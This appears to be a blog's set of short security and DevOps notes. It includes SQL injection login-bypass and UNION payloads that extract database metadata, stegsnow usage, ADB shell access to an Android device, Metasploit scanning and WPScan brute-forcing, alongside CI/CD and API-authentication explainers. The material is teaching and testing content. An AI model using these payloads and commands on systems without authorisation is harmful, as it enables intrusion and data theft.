SQL Injection

All websites that make interaction with a DB, use SQL.

But if the SQL script is not correctly written could be passible of some manipulation using the html form parameters, in which the attacker could put a malicious SQL code.

So to find a SQL Injection is very critical because it gives access to the entire DB as as admin.

How to discover SQL Injections

The easy way is to put in the html form input text some special SQL character like ‘ (single quote) ” (double quote) # (comment) and so on and see what happens.

We could get multiple result. An exception that could show the query which went wrong for instance.

Bypassing logins using SQL Injections

In a user/password login page we could set the username and in the password field we could specify the piece of query to continue the query of the login:

Let’s say that the query to login could be something like this:

select * from users where username='$username' and password='$password'

Where $username and $password are dynamically passed from the frontend.

Now, the login query could be hacked specifying a piece of sql as password.

For instance, the password field could be

password' and 1=1, in this way the query will be

select * from users where username='$username' and password='password' and 1=1

the worse sql injection could be:

$username = admin (or the whatever admin username)

$password = 123456′ or 1=1

In this case the query becomes:

select * from users where username='admin' and password='123456' or 1=1

Executing that query, assuming that admin is a real admin username, that query will always return true, even the password used is not correct, allowing us to enter as administrator.

Another way to use sql injection to try to bypass login is with comments just after the username, becasue whetever is written after comments is not used.

For instance a query like this:

select * from users where username = 'admin' #and password ='ciccio'

will return the user wich username is admin whatever could be the password.

In order to ahve a query like the above in the username we need to specify

$username = admin’ #

$password = whateverWeWant

The last query is the most interesting one because it allows us to have more complex query to gather more information from the database.

For instance we can add a union to get something else:

select * from users where username = 'admin' union select 1, database(), user(), version(), 5 #and password ='whateverWeWant'

In this case what we did was to use the following parameters:

$username = admin’ union select 1, database(), user(), version(), 5#

$password = whateverWeWant

Or, we can get DB information schema using another query after the union:

$username = admin’ union select 1, table_name, null, null, 5 from invormation_schemaa.tables#

$password = whateverWeWant

In this way you can get whatever you want from the DB, just putting an union query with the same column number of the first query (in our example is select * from users)

Discover SQL Injections

We can use

SQLMap cli tool to automate the sql injections using a specific url

OWASP ZAP, a UI tools very easy to use which find possibile SQL injections (but actually also other type of exploitations) on the entire website specifying also the field parameters to use 🙂

Prevent SQL Injection

To prevent sql injection on your sql scripts try to:

  • filter inputs
  • use parameterised statements!
Steganography

Steganography is the practice of hiding a message inside of (or even on top of) something that is not secret.

The steganography has the double mission to hide and to deceive.

Of course not only messages can be hidden but also malware scripts.

Snow

There are a lot of tools that can hide things in images, files, and so on.

Snow is one of these.

Snow stands for Steganographic Nature Of Whitespace .

SNOW is a whitespace steganography tool that is used to embed hidden messages in ASCII format by extending the whitespace to the end of lines. This is done because the white spaces and tabs are not visible in text format to the viewers, thus making the messages hidden from the casual audience. The hidden messages are not available even if the built-in encryption is used to detect the message.

Snow is intended to be used with Windows. The Linux version is stegsnow.

To hide a message in a file (let’s say readme2.txt) using the content of an existing file (let’s say readme.txt):

stegsnow -C -m "super secret message" -p "passwordtousetodecodemessage" originalfile.txt filewithhiddenmessage.txt 

For instance

root@kali:~# stegsnow -C -m "CIAO MAMMA guarda come mi diverto" -p "magic" readme.txt readme2.txt 
Compressed by 30.30%
Message exceeded available space by approximately 776.19%.
An extra 6 lines were added.

where in readme.txt there is a generic content.

After the command the readme2.txt will contain the content of readme.txt plus soma extra spaces and tab.

To decode the content of readme2.txt:

stegsnow -C -p "passwordtousetodecodemessage" filewithhiddenmessage.txt 

For instance:

root@kali:~# stegsnow -C -p "magic" readme2.txt 
CIAO MAMMA guarda come mi diverto
Functional Attack to API providers

We could have few security attacks to an API:

  • SQL Injections
  • Fuzzing
  • Cross site forgery
  • Session/token hijacking

SQL Injections

In this attack, the attacker tries to identify input parameters used in a SQL statement in order to manipulate the original query

Fuzzing

Fuzz test or Fuzzing is a black box software testing technic which consist to inject random data to a service in order to find bugs

A fuzzer would try combinations of attacks on:

  • numbers (signed/unsigned integers/float…)
  • chars (urls, command-line inputs)
  • metadata : user-input text (id3 tag)
  • pure binary sequences

A common approach to fuzzing is to define lists of “known-to-be-dangerous values” (fuzz vectors) for each type, and to inject them or recombinations.

  • for integers: zero, possibly negative or very big numbers
  • for chars: escaped, interpretable characters / instructions (ex: For SQL Requests, quotes / commands…)
  • for binary: random ones

The hacker, then, analyse the response to understand vulnerability

So pay attention to which type of response error you send back. Don’t send, for instance, sql exception error.

Cross site forgery

In this case the hacker is able to execute a script, which call our API, using the user device.

To avoid this type of attack use POST instead of GET, split transactions in multiple step, add custom headers.

Token and Sessions Hijacking

This is basically a specialisation of the Cross site forgery, with the target of get the token saved on the client device.

So, the user in some way executes the attacker script which will read the token or the session cookie and use it to access to private resources

In this case suggestions are:

expire your token

use complex token pattern

use some additional security header, do not rely only on Access Tokens

Continuous Delivery (CD)

CD is an automated process of delivering code changes to server quickly and efficiently.

It is the natural extension of CI.

CD, so, it’s the practice of to be sure that the code is ready to be deployed in production.

The (old) process

Operations team will get regular requests to deploy artifacts of CI on servers to have QA tests.

Developers and Operation team need to work together to fix eventual deployment issues.

Because Deployment is not only deploy the artifact but also configuration change, Networking, and so on.

Then finally QA team can test further and send back feedback.

So there is too much human intervention in this process.

Solution is automation

Every step in deployment should be automated (server provision, dependencies, configuration change, deploy,…)

Tools

  • System automation (Ansible, Puppet, Chef,…)
  • Cloud infrastructure automation (Terraform, CFormation,…)
  • CICD automation (Jenkins, Octopus deploy,…)
  • Code testing
  • and many other

Ops team will write automation code for deployment

QA Testers will write automation code for software test

Dev team will write code and unit test code

Continues Integration (CI)

CI is the development methodology of DevOps, for which developers commit regularly in a centralised repository where build and test are executed automatically.

Through CI, developers commit frequently in the repo under a version control system, Git for instance.

Before commit they can execute a unit test locally.

A CI service, then, creates the build automatically and starts unit tests on the new code. If the code is good the build will create an artifact and will store it in a software repo(sitory)

In this way there is the big advantage to discover issues early

Tools

Tolls used in CI are:

  • IDE, for coding (Eclipse, Visual studio, Atom, PYCHARM,….)
  • VCS, to store the code (GIT, SVN, TFS,…)
  • Build tools, based on the programming language (Maven, Ant, MSBuild, Visual Build, …)
  • Software Repository, to store artifacts (Nexus, JFrog, Archivia, …)
  • CI Tools, that integrate everything (Jenkins, CircleCI, Bamboo, …)
Getting access to Android using ADB

ADB stands for Android Debug Bridge and it is a CLI used to communicate with an Android device which is physically connected (through a USB cable for instance) to a computer.

Before continue, check if you have adb installed on your machine typing adb in the CLI. Normally, it is installed together with Android Studio. If it is not installed:

apt-get update
apt install adb

Normally this service is available at the 5555 port of the Android device.

Let’s first check if that port is opened:

nmap <ipAddressOfAndroidDevice> -Pn
root@kali:~# nmap 192.168.1.3 -Pn
Starting Nmap 7.92 ( https://nmap.org ) at 2023-07-10 02:17 EDT
Nmap scan report for RedmiNote5-Redmi.station (192.168.1.3)
Host is up (0.030s latency).
Not shown: 999 closed tcp ports (reset)
PORT     STATE SERVICE
5555/tcp open  freeciv
MAC Address: 80:35:C1:52:D8:E3 (Xiaomi Communications)

Nmap done: 1 IP address (1 host up) scanned in 3.91 seconds

If it is not opened try to restart the usb port:

adb usb
adb tcpip 5555

Once it is opened we can try to connect using the following command:

adb connect <ipAddressOfAndroidDevice>:<port>

Normally the port is 5555 and it is optional

root@kali:~# adb connect 192.168.1.3
connected to 192.168.1.3:5555

After a succesful connection type:

adb shell

Then, the result should be:

root@kali:~# adb shell
whyred:/ $

From this moment you can access to the Android device like you do in a normal Linux environment

REST API Security

Basic Authentication

In this case the user sends credentials in the HTTP Headers “Authorization: Basic <Encoded-Creds>”

The <Encoded-Creds> string is a Base64 string with the format User:Password

Because of the user and password is sent in clear text using http header, it’s not a good idea to send it using http protocol. Use this instead only with ssl/https!

Another issue is that the credentials should be sent on every request

But also, every developer can access to this header.

Moreover in case of mobile app, for instance, they should be hard coded in the app code

Token based authentication

With tokens, it works like this:

  • the client asks for token to the server using credentials
  • the server checks the credentials and replies with a token
  • the client will use always that token to call protected resources
  • the server, every time the client asks for a protected resource check the validity of the token and, if it is valid, replies with the correct response

A token is, basically, an encoded string (hashed or private key for encryption)

It eliminates the need for sessions on API.

The client can send the token in the http header, query parameters, request body.

Tokens can expire and be revocated

API Key and Secret

Similar to user/password but not the same, because they are though for Applications or machines and not for humans.

API key is a API consumer, sometimes known as client key or client id.

API Secret is used by client to prove its identity.

When a client what to access to a resource using API Key and Secret, it will send the Key + a digital signature generated by the Secret.

API Key and Secret could be sent via HTTP Header, query params or request body

OAUTH 2.0

It’s a flexible authorisation framework.

It’s based on different token levels

It describes 5 methods to get the final token to access resources

User has always control of his own data (scope)

Applications/Clients need API Key and Secret.

It’s also known as Social login.

In this authorisation type we have 3 system involved:

  • User Application (the application that own user data)
  • Application Client (API Consumer)
  • Application Server (API provider)

Steps

  1. Application client asks for user authorisation to User Application
  2. User Application responds with a user token (AZ token) for Authorization granted
  3. Application Client with this AZ token asks to Application Server for Authorization to access resources
  4. Application Server looks at this AZ token and if everything is ok responds with an Access Token
  5. Finally the Application client will use the Access Token to access to the resources of the Application Server
What is DevOps

DevOps, a combination of development (Dev) and operations (Ops).

it is the union of people, processes and technology to continuously deliver value to customers.

Benefits of DevOps for teams

DevOps allows previously isolated roles, including development, IT operations, Quality Qssurance, and security, to coordinate and collaborate to deliver better, more reliable products.

By adopting a DevOps culture along with DevOps practices and procedures, teams can better respond to customer needs, improve the trustworthiness of the applications they build, and achieve business goals faster.

Application lifecycle

DevOps influences the application lifecycle in the planning, development, deployment and operations phases.

Each phase is based on the others and no phase is assigned a specific role. In an effective DevOps culture every role is involved to some way at every phase.

Plan

During the planning phase, DevOps teams conceive, define, and describe the capabilities of the applications and systems to be created. They track progress at low and high levels of granularity, from single product activities to portfolio or cross-product activities. Creating backlogs, tracking bugs, managing Agile Software Development with Scrum, using Kanban boards, and viewing status with dashboards are some of the ways DevOps teams plan with flexibility and visibility.

Development

The development phase includes all aspects of coding, including writing, testing, reviewing, and integrating the code by team members, as well as putting the code into build artifacts that can be deployed across multiple environments. DevOps teams strive to innovate rapidly without sacrificing quality, stability, and productivity. They do this by using productivity-intensive tools, automating manual and repetitive steps, and iterating in small increments through automated testing and continuous integration.

Deliver

Delivery is the process of deploying applications to production environments consistently and reliably. The delivery phase also includes the deployment and configuration of the fully underlying infrastructure that makes up these environments.

During the delivery phase, the teams define a release management process with clear manual approval steps. Teams also set up automated control tasks that move applications from one stage to another until they are available to customers. Automating these processes makes them scalable, repeatable and controlled. This allows teams adopting DevOps to deploy frequently with ease and confidence.

Operations

The operation phase involves maintaining, monitoring, and troubleshooting operations in production environments. When adopting DevOps practices, teams strive to ensure system reliability and high availability, and seek to reduce downtime to zero while strengthening security and governance.

DevOps teams try to identify issues before they impact customer experience and quickly mitigate issues when they occur. This level of vigilance requires advanced telemetry, actionable alerting, and complete visibility into applications and the underlying system.

DevOps culture

Teams of multiple types (Dev, analyst, operations, …) must collaborate and share their visibility .

People are involved also with in new fields of work.

Cycle are short, and it implies

Simplest planning

React and adapt to new user needs

Metasploit

Metasploit Framework is a cybersecurity project that provides info about vulnerability, simplifies penetration tests and helps in the development of intrusions systems check.

It is an open source tool and basically executes exploits to a remote machine.

Let’s start

First of all we need to check if our Metasploit is correctly connected to Metasploit db. Type the following:

msfconsole

The result would be something like that:

root@kali:~# msfconsole 
                                                  
  +-------------------------------------------------------+
  |  METASPLOIT by Rapid7                                 |
  +---------------------------+---------------------------+
  |      __________________   |                           |
  |  ==c(______(o(______(_()  | |""""""""""""|======[***  |
  |             )=\           | |  EXPLOIT   \            |
  |            // \\          | |_____________\_______    |
  |           //   \\         | |==[msf >]============\   |
  |          //     \\        | |______________________\  |
  |         // RECON \\       | \(@)(@)(@)(@)(@)(@)(@)/   |
  |        //         \\      |  *********************    |
  +---------------------------+---------------------------+
  |      o O o                |        \'\/\/\/'/         |
  |              o O          |         )======(          |
  |                 o         |       .'  LOOT  '.        |
  | |^^^^^^^^^^^^^^|l___      |      /    _||__   \       |
  | |    PAYLOAD     |""\___, |     /    (_||_     \      |
  | |________________|__|)__| |    |     __||_)     |     |
  | |(@)(@)"""**|(@)(@)**|(@) |    "       ||       "     |
  |  = = = = = = = = = = = =  |     '--------------'      |
  +---------------------------+---------------------------+


       =[ metasploit v6.2.18-dev                          ]
+ -- --=[ 2244 exploits - 1185 auxiliary - 398 post       ]
+ -- --=[ 951 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Adapter names can be used for IP params 
set LHOST eth0

msf6 > 

from Metasploit command line (msf6> in our case) it’s possible execute normally nmap

How to use Metasploit

We need toe execute 3 step:

find the service we need (ftp, ssh, …). Type:

search <serviceYouNeed> (let's say: search ftp)

After chosen your service, we search deeply the correct service to use:

info scanner/ftp/

Then, if we need to know which version of ftp my target is using, we should call the service using the “use” command:

use auxiliary/scanner/ftp/ftp_version
msf6 > use auxiliary/scanner/ftp/ftp_version
msf6 auxiliary(scanner/ftp/ftp_version) >

and so, to know the interface of the service, we type:

info (or: show option)

The result shows the list of the params of that service:

msf6 auxiliary(scanner/ftp/ftp_version) > info

       Name: FTP Version Scanner
     Module: auxiliary/scanner/ftp/ftp_version
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  hdm <x@hdm.io>

Check supported:
  No

Basic options:
  Name     Current Setting      Required  Description
  ----     ---------------      --------  -----------
  FTPPASS  mozilla@example.com  no        The password for the specified username
  FTPUSER  anonymous            no        The username to authenticate as
  RHOSTS                        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT    21                   yes       The target port (TCP)
  THREADS  1                    yes       The number of concurrent threads (max one per host)

Description:
  Detect FTP Version.

The required and not required aprams are show. Also the required ones, could have a default value so in tath case it’s not amdatory set that param.

To set a param we use “set” command:

msf6 auxiliary(scanner/ftp/ftp_version) > set RHOSTS 192.168.1.222
RHOSTS => 192.168.1.222
msf6 auxiliary(scanner/ftp/ftp_version) > 

To execute the service type the “run” command (or the “exploit” command):

msf6 auxiliary(scanner/ftp/ftp_version) > run

and this is the result:


[+] 192.168.1.222:21      - FTP Banner: '220 ProFTPD Server (Debian) [::ffff:192.168.1.222]\x0d\x0a'
[*] 192.168.1.222:21      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ftp/ftp_version) > 

To recap, the (minimum) ordered list of the command to execute a service in Metasploit are:

  • msfconsole
  • search <serviceName>
  • use <metasploitServiceName>
  • info (or show option)
  • set <param>
  • run (or exploit)
WP Scan

WPScan is a tool designed to test the security of a WordPress web site.

To use it, simply type:

wpscan --url <websitetocheck>

Adding -e u parameter it will try to find also users

wpscan --url <websitetocheck> -e u

It’s possible to use also brute force to guess users and password using –usernames <filenameWithUserList> –passwords <filenameWithpasswordList>

If you already know the username: -u <username> -P <filenameWithpasswordList>